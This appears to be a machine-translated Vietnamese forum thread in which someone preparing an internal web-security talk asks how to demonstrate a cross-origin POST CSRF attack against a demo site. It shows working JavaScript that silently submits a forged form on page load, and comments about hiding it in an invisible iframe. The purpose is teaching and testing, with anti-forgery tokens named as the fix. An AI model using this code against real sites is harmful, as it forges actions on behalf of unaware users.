Tôi đang giới thiệu về bảo mật web cho một số người khác trong doanh nghiệp của chúng tôi và tôi muốn hiển thị một số ví dụ để có tác động nhiều hơn.Cách minh họa một cuộc tấn công CSRF
Vì điều này tôi đã tạo một trang web nhỏ dễ bị tấn công này, trang web này sẽ chỉ có thể truy cập được trên mạng của chúng tôi.
Tôi hiện đang cố gắng khai thác cuộc tấn công này, nhưng tôi có một câu hỏi:
Làm cách nào để thực hiện việc này với biểu mẫu POST?
Tôi không gặp vấn đề gì với truy vấn GET, nhưng với POST, tôi đang cố gắng làm điều này với javascript, không có vấn đề gì nếu tôi lưu trữ mã trên cùng một máy chủ, nhưng nếu tôi muốn lưu trữ mã cho một máy chủ khác trở nên thực tế hơn, tôi bị chặn vì đó là yêu cầu tên miền chéo.
Vì vậy, làm cách nào tôi nên gửi các Bars POST này?
Cảm ơn bạn!
Đây là mã hiện tại của tôi:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>CSRF attack demo</title>
<script type="text/javascript">
function getHTTPObject() {
var http = false;
//Use IE's ActiveX items to load the file.
if(typeof ActiveXObject != 'undefined') {
try {http = new ActiveXObject("Msxml2.XMLHTTP");}
catch (e) {
try {http = new ActiveXObject("Microsoft.XMLHTTP");}
catch (E) {http = false;}
}
//If ActiveX is not available, use the XMLHttpRequest of Firefox/Mozilla etc. to load the document.
} else if (window.XMLHttpRequest) {
try {http = new XMLHttpRequest();}
catch (e) {http = false;}
}
return http;
}
function post_to_url(path, params, method) {
method = method || "post"; // Set method to post by default, if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
for(var key in params) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
document.body.appendChild(form);
form.submit();
}
function postToUrlBackground(path, params){
var http = getHTTPObject();
http.open("POST", path, true);
//Send the proper header information along with the request
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-length", params.length);
http.setRequestHeader("Connection", "close");
http.onreadystatechange = function() {//Call a function when the state changes.
if(http.readyState == 4 && http.status == 200) {
//alert("Response received");
}
}
http.send(params);
}
function TryAttack(){
//alert("Sending");
postToUrlBackground("http://localhost:51612/Movie/Edit/1", "Title=%28500%29This+item+has+been+changed+without+any+rights&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE");
//postToUrlBackground("http://localhost:51612/Movie/Edit/1","Title=%28500%29+JOURS+ENSEMBLE&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE" );
//alert("sent");
}
</script>
</head>
<body onload="TryAttack()">
<img src=image.png />
</body>
</html>
Được rồi tôi thấy, Và chúng tôi đặt điều này trong một khung nội tuyến như thế này người dùng không nhìn thấy nó đã được chuyển hướng? – J4N
Tuyệt vời nó hoạt động :) Tôi cumulate nó với một iframe + htaccess :) – J4N
Wow, điều này rất hữu ích cho tôi để kiểm tra lỗ hổng. Nếu kẻ tấn công biết dữ liệu mà thiết bị đầu cuối mong đợi, họ đang ở. Như tôi biết các giá trị biểu mẫu dự kiến, tôi đã có thể nhanh chóng chứng minh điều này. Sẽ sử dụng mã thông báo chống giả mạo để chặn. Nhiều đánh giá cao. –